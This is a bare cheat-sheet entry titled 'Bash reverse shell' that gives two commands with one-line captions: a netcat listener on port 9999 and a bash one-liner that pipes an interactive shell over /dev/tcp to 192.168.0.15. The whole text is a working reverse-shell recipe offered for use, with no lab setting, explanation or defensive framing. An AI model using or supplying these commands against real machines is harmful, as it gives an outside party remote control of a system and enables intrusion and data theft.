Bash reverse shell

Listen on port 9999 for a shell

nc -lp 9999

Send a interactive shell to 192.168.0.15 on port 9999

bash -i > /dev/tcp/192.168.0.15/9999 0<&1 2<&1